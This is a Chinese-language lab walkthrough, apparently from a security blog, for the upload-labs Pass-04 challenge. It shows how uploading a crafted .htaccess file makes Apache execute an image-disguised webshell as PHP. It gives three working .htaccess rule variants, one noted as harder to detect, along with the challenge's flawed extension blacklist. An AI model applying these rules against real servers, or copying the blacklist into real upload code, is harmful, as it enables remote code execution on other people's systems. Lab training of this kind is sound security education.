【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

文章目录

一、实验目的:

1、了解什么是.htaccess文件
2、通过upload-labs闯关游戏(Pass-04),掌握.htaccess文件解析漏洞技术。

二、工具:

cmd命令行
火狐/谷歌浏览器

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      upload-labs-master闯关游戏
      phpstudy2018搭建网站
      php5.6以下不带nts的版本
      服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

攻击机: 物理机

四、漏洞利用前提:

  web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件

五、原理:

.htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

六、利用方式:

上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。

七、.htaccess文件内容:

.htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现:

<IfModule mime_module>
AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

第二种、精确控制能被解析成php代码的文件,不容易被发现:

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>

第三种、同1没太大区别:

<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

八、.htaccess文件制作:

创建好文件后,把上面的.htaccess文件内容通过文本文档的方式复制进去即可,内容需要根据实际情况进行适当修改。

1. 直接创建文件:

【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞
【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

2. 通过cmd命令行创建:

有的电脑无法通过桌面直接创建,就需要通过命令行进行创建:
命令:

echo hello world > .htaccess

【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

九、实验过程:

upload-labs闯关游戏(Pass-04):
页面源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

1、创建一个.htaccess文件.htaccess文件文件内容中的规则这里使用上面的第二种方法,内容如下:
注:上传这个文件的原因是为了把1.png图片马解析为php的脚本文件。
这里在写.htaccess文件内容时,需要去掉每行结尾的多余的空格:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
AddHandler php5-script .png
</FilesMatch>

【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞
2、选择upload-labs闯关游戏(Pass-04)先上传上面写好的.htaccess文件
【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞
3、上传一个图片马1.png,并复制图片马的链接:
【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞
4、访问图片马的链接后,发现已经把1.png解析为php脚本文件:
【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

上一篇:BUUCTF WEB BabyUpload1


下一篇:攻防世界web高手进阶之blgdel